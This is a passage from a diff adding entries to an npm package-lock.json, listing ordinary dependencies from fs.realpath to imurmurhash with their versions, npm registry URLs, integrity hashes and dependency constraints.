+      "integrity": "sha512-cybjIfiiE+pTWicSCLFHSrXZ6EilF30oh91FDP9S2B051prEa7QWfrVTQm10/dDpswBDXZugPa1Ogu8Yh+HV0Q=="
+    },
+    "node_modules/fs.realpath": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+      "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="
+    },
+    "node_modules/fsevents": {
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+      "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+      "hasInstallScript": true,
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+      }
+    },
+    "node_modules/function-bind": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+      "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/function.prototype.name": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.5.tgz",
+      "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.0",
+        "functions-have-names": "^1.2.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/functions-have-names": {
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
+      "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/gensync": {
+      "version": "1.0.0-beta.2",
+      "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+      "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/get-caller-file": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
+      "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
+      "engines": {
+        "node": "6.* || 8.* || >= 10.*"
+      }
+    },
+    "node_modules/get-intrinsic": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz",
+      "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "has-proto": "^1.0.1",
+        "has-symbols": "^1.0.3",
+        "hasown": "^2.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/get-own-enumerable-property-symbols": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz",
+      "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g=="
+    },
+    "node_modules/get-package-type": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz",
+      "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==",
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/get-stream": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz",
+      "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/get-symbol-description": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz",
+      "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "get-intrinsic": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/glob": {
+      "version": "7.2.3",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
+      "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+      "dependencies": {
+        "fs.realpath": "^1.0.0",
+        "inflight": "^1.0.4",
+        "inherits": "2",
+        "minimatch": "^3.1.1",
+        "once": "^1.3.0",
+        "path-is-absolute": "^1.0.0"
+      },
+      "engines": {
+        "node": "*"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/glob-parent": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
+      "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+      "dependencies": {
+        "is-glob": "^4.0.3"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/glob-to-regexp": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
+      "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="
+    },
+    "node_modules/global-modules": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz",
+      "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==",
+      "dependencies": {
+        "global-prefix": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/global-prefix": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz",
+      "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==",
+      "dependencies": {
+        "ini": "^1.3.5",
+        "kind-of": "^6.0.2",
+        "which": "^1.3.1"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/global-prefix/node_modules/which": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+      "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+      "dependencies": {
+        "isexe": "^2.0.0"
+      },
+      "bin": {
+        "which": "bin/which"
+      }
+    },
+    "node_modules/globals": {
+      "version": "11.12.0",
+      "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
+      "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/globby": {
+      "version": "11.1.0",
+      "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
+      "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
+      "dependencies": {
+        "array-union": "^2.1.0",
+        "dir-glob": "^3.0.1",
+        "fast-glob": "^3.2.9",
+        "ignore": "^5.2.0",
+        "merge2": "^1.4.1",
+        "slash": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/gopd": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz",
+      "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==",
+      "dependencies": {
+        "get-intrinsic": "^1.1.3"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/graceful-fs": {
+      "version": "4.2.11",
+      "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="
+    },
+    "node_modules/grapheme-splitter": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz",
+      "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ=="
+    },
+    "node_modules/gzip-size": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-6.0.0.tgz",
+      "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==",
+      "dependencies": {
+        "duplexer": "^0.1.2"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/handle-thing": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz",
+      "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg=="
+    },
+    "node_modules/harmony-reflect": {
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.1.tgz",
+      "integrity": "sha512-WJTeyp0JzGtHcuMsi7rw2VwtkvLa+JyfEKJCFyfcS0+CDkjQ5lHPu7zEhFZP+PDSRrEgXa5Ah0l1MbgbE41XjA=="
+    },
+    "node_modules/has": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
+      "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
+      "dependencies": {
+        "function-bind": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4.0"
+      }
+    },
+    "node_modules/has-bigints": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz",
+      "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/has-flag": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+      "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/has-property-descriptors": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
+      "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
+      "dependencies": {
+        "es-define-property": "^1.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/has-proto": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.3.tgz",
+      "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/has-symbols": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
+      "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/has-tostringtag": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz",
+      "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==",
+      "dependencies": {
+        "has-symbols": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/hasown": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
+      "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
+      "dependencies": {
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/he": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
+      "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==",
+      "bin": {
+        "he": "bin/he"
+      }
+    },
+    "node_modules/hoopy": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/hoopy/-/hoopy-0.1.4.tgz",
+      "integrity": "sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==",
+      "engines": {
+        "node": ">= 6.0.0"
+      }
+    },
+    "node_modules/hpack.js": {
+      "version": "2.1.6",
+      "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz",
+      "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==",
+      "dependencies": {
+        "inherits": "^2.0.1",
+        "obuf": "^1.0.0",
+        "readable-stream": "^2.0.1",
+        "wbuf": "^1.1.0"
+      }
+    },
+    "node_modules/hpack.js/node_modules/readable-stream": {
+      "version": "2.3.7",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+      "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+      "dependencies": {
+        "core-util-is": "~1.0.0",
+        "inherits": "~2.0.3",
+        "isarray": "~1.0.0",
+        "process-nextick-args": "~2.0.0",
+        "safe-buffer": "~5.1.1",
+        "string_decoder": "~1.1.1",
+        "util-deprecate": "~1.0.1"
+      }
+    },
+    "node_modules/hpack.js/node_modules/string_decoder": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+      "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+      "dependencies": {
+        "safe-buffer": "~5.1.0"
+      }
+    },
+    "node_modules/html-encoding-sniffer": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz",
+      "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==",
+      "dependencies": {
+        "whatwg-encoding": "^1.0.5"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/html-entities": {
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.3.tgz",
+      "integrity": "sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA=="
+    },
+    "node_modules/html-escaper": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
+      "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg=="
+    },
+    "node_modules/html-minifier-terser": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz",
+      "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==",
+      "dependencies": {
+        "camel-case": "^4.1.2",
+        "clean-css": "^5.2.2",
+        "commander": "^8.3.0",
+        "he": "^1.2.0",
+        "param-case": "^3.0.4",
+        "relateurl": "^0.2.7",
+        "terser": "^5.10.0"
+      },
+      "bin": {
+        "html-minifier-terser": "cli.js"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/html-webpack-plugin": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.0.tgz",
+      "integrity": "sha512-sy88PC2cRTVxvETRgUHFrL4No3UxvcH8G1NepGhqaTT+GXN2kTamqasot0inS5hXeg1cMbFDt27zzo9p35lZVw==",
+      "dependencies": {
+        "@types/html-minifier-terser": "^6.0.0",
+        "html-minifier-terser": "^6.0.2",
+        "lodash": "^4.17.21",
+        "pretty-error": "^4.0.0",
+        "tapable": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/html-webpack-plugin"
+      },
+      "peerDependencies": {
+        "webpack": "^5.20.0"
+      }
+    },
+    "node_modules/htmlparser2": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz",
+      "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==",
+      "funding": [
+        "https://github.com/fb55/htmlparser2?sponsor=1",
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ],
+      "dependencies": {
+        "domelementtype": "^2.0.1",
+        "domhandler": "^4.0.0",
+        "domutils": "^2.5.2",
+        "entities": "^2.0.0"
+      }
+    },
+    "node_modules/http-deceiver": {
+      "version": "1.2.7",
+      "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz",
+      "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw=="
+    },
+    "node_modules/http-errors": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
+      "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
+      "dependencies": {
+        "depd": "2.0.0",
+        "inherits": "2.0.4",
+        "setprototypeof": "1.2.0",
+        "statuses": "2.0.1",
+        "toidentifier": "1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/http-parser-js": {
+      "version": "0.5.8",
+      "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz",
+      "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q=="
+    },
+    "node_modules/http-proxy": {
+      "version": "1.18.1",
+      "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz",
+      "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==",
+      "dependencies": {
+        "eventemitter3": "^4.0.0",
+        "follow-redirects": "^1.0.0",
+        "requires-port": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/http-proxy-agent": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
+      "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
+      "dependencies": {
+        "@tootallnate/once": "1",
+        "agent-base": "6",
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/http-proxy-middleware": {
+      "version": "2.0.9",
+      "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.9.tgz",
+      "integrity": "sha512-c1IyJYLYppU574+YI7R4QyX2ystMtVXZwIdzazUIPIJsHuWNd+mho2j+bKoHftndicGj9yh+xjd+l0yj7VeT1Q==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/http-proxy": "^1.17.8",
+        "http-proxy": "^1.18.1",
+        "is-glob": "^4.0.1",
+        "is-plain-obj": "^3.0.0",
+        "micromatch": "^4.0.2"
+      },
+      "engines": {
+        "node": ">=12.0.0"
+      },
+      "peerDependencies": {
+        "@types/express": "^4.17.13"
+      },
+      "peerDependenciesMeta": {
+        "@types/express": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/https-proxy-agent": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
+      "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+      "dependencies": {
+        "agent-base": "6",
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/human-signals": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz",
+      "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==",
+      "engines": {
+        "node": ">=10.17.0"
+      }
+    },
+    "node_modules/iconv-lite": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
+      "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+      "dependencies": {
+        "safer-buffer": ">= 2.1.2 < 3.0.0"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/icss-utils": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz",
+      "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==",
+      "engines": {
+        "node": "^10 || ^12 || >= 14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/idb": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/idb/-/idb-7.1.0.tgz",
+      "integrity": "sha512-Wsk07aAxDsntgYJY4h0knZJuTxM73eQ4reRAO+Z1liOh8eMCJ/MoDS8fCui1vGT9mnjtl1sOu3I2i/W1swPYZg=="
+    },
+    "node_modules/identity-obj-proxy": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz",
+      "integrity": "sha1-lNK9qWCERT7zb7xarsN+D3nx/BQ=",
+      "dependencies": {
+        "harmony-reflect": "^1.4.6"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/ignore": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz",
+      "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==",
+      "engines": {
+        "node": ">= 4"
+      }
+    },
+    "node_modules/immer": {
+      "version": "9.0.15",
+      "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.15.tgz",
+      "integrity": "sha512-2eB/sswms9AEUSkOm4SbV5Y7Vmt/bKRwByd52jfLkW4OLYeaTP3EEiJ9agqU0O/tq6Dk62Zfj+TJSqfm1rLVGQ==",
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/immer"
+      }
+    },
+    "node_modules/import-fresh": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
+      "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
+      "dependencies": {
+        "parent-module": "^1.0.0",
+        "resolve-from": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/import-fresh/node_modules/resolve-from": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
+      "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/import-local": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz",
+      "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==",
+      "dependencies": {
+        "pkg-dir": "^4.2.0",
+        "resolve-cwd": "^3.0.0"
+      },
+      "bin": {
+        "import-local-fixture": "fixtures/cli.js"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/imurmurhash": {
+      "version": "0.1.4",
